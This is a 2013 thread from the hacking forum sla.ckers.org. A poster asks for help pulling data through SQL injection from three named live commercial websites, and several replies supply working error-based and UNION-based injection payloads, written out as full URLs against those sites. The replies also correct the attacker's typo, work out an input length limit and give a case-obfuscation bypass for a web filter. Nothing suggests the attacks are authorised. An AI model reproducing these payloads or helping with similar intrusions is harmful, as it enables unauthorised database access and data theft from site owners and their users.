Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
How do you completely compromise a machine given a text box or badly validated input box? This is a place to talk about code issues (PHP includes, null byte injection, backticks, pipe, etc...) as well as how to properly construct an SQL injection attack. 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
i can count the number of columns but icant get any other data !!!
Posted by: JACK.HAMMER
Date: December 19, 2013 09:29PM

https://www.nivatel.com/static.php?id=9

iam tried with this site the command +order+by+1--

and iam get the number of columns is 6 but when iam try to do the command

-9+union+select+1,2,3,4,5,6-- ican get the velnaruble column then iam tried with

error based command or 1 group by concat_ws(0x00, version(),hex(rand(0))) having min(0)-- - and no thing too also to chek if its blind with command and substring(@@version,1,1)=5 and
and substring(@@version,1,1)=4

but no chaging in the page but when iam do +and+1=0-- the page changed and when iam do +and+1=1-- the page become normal so idont know what the kind of this SQL error and also iam try this site on SQLmap and shwoing me the site is velnaruble and have 6 columns.

iam need help of MR.ajkaro to know the kind of this erroe and how to execute the command on it.


another question :

http://www.precisionaerobatics.com/gallery_det.php?gid=2

this site have error based SQL and when iam give him this command or 1 group by concat_ws(0x00, version(),hex(rand(0))) having min(0)-- -

http://www.precisionaerobatics.com/gallery_det.php?gid=22'%20or%201%20group%20by%20concat_ws(0x00,%20version(),hex(rand(0)))%20having%20min(0)--%20-

iam get the version Duplicate entry '5.5.30-cll' for key 'group_key' : select * from yp_gallery_category where cat_id='22' or 1 group by concat_ws(0x00, version(),hex(rand(0))) having min(0)-- -'


but when iam try to get the tables iam see like that

http://www.precisionaerobatics.com/gallery_det.php?gid=22'+or+1+group+by+concat_ws(0x7e,(select+table_name+from+informaion_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))+having+min(0)--%20-


illegal url

and this site too http://www.actualicese.com/tiendavirtual/producto_descontinuado.php?id=85+or+1+group+by+concat_ws%280x7e,%28select+table_name+from+informaion_schema.tables+where+table_schema=database%28%29+limit+0,1%29,floor%28rand%280%29*2%29%29+having+min%280%29--

but iam get that

SELECT command denied to user 'ventas_www'@'192.168.0.170' for table 'tables'


iam tried many filters but it doesnt work so i need help pls.



Edited 3 time(s). Last edit at 12/20/2013 03:49PM by JACK.HAMMER.

Options: ReplyQuote
Re: i can count the number of columns but icant get any other data !!!
Posted by: x_inject
Date: December 22, 2013 11:36AM

And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(table_name),1,150)from information_schema.tables where table_schema like database()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)z)

===================
http://www.actualicese.com/tiendavirtual/producto_descontinuado.php?id=85%20And%28select%201%20from%28select%20count%28*%29,concat%280x3a,%28select%20substr%28group_concat%28table_name%29,1,150%29from%20information_schema.tables%20where%20table_schema%20like%20database%28%29%29,0x3a,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29z%29--
===================

reference from :
http://ultimatehackingarticles.blogspot.co.uk/2013/01/bypass-subquery-returns-more-than-1-row.html

Options: ReplyQuote
Re: i can count the number of columns but icant get any other data !!!
Posted by: firestorm
Date: December 22, 2013 01:30PM

So, Ajkaro is in great demand these days. ;)
Anyways..
Hi,
One silly typing mistake you have there.

its information not informaion. Correct it you'll get :

Duplicate entry 'Ciudades y Departamentos~1' for key 'group_key'

and for 1st one (https://www.nivatel.com/static.php?id=9 )..
Its a Bad news. I suspect that there is a restriction of characters. A limit of 20 chars. id cannot take more than 20 characters, give more than 20 and it turns blank.

Verification :

https://www.nivatel.com/static.php?id=9+order/**/by+6+--+- is 20 chars

increase the char count to 21 or higher, it blows.

https://www.nivatel.com/static.php?id=9+order/**/+by+6+--+- is 21 char

Options: ReplyQuote
Re: i can count the number of columns but icant get any other data !!!
Posted by: ajkaro
Date: December 22, 2013 02:22PM

Hi firestorm

I answered him on HF (same question)...

And you answered him for nivatel.com site :)

So OP is well served ;)

Options: ReplyQuote
Re: i can count the number of columns but icant get any other data !!!
Posted by: JACK.HAMMER
Date: December 24, 2013 10:03AM

https://www.nivatel.com/static.php?id=9+order/**/by+6+--+- is 20 chars

increase the char count to 21 or higher, it blows.

https://www.nivatel.com/static.php?id=9+order/**/+by+6+--+- is 21 char

man look https://www.nivatel.com/static.php?id=9+order/**/by/**/1--+--+

more than 20 chars and iam get right page

and u didint tell me about this site http://www.precisionaerobatics.com/gallery_det.php?gid=22 its error based iam tried all select WAF baybass but icant get the tables

Options: ReplyQuote
Re: i can count the number of columns but icant get any other data !!!
Posted by: ajkaro
Date: December 24, 2013 05:10PM

>>man look https://www.nivatel.com/static.php?id=9+order/**/by/**/1--+--+

--+ is used to comment out remaining part (what ever is after it...). So you can't count next --+ If you want to test for max. 20 characters put extra characters BEFORE --+



Other site:
http://www.precisionaerobatics.com/gallery_det.php?gid=2' and 0 %55Nion %53eLect 1,version(),3,4,5,6,7,8%23

No stop asking same questions on different forums...

Options: ReplyQuote


Sorry, only registered users may post in this forum.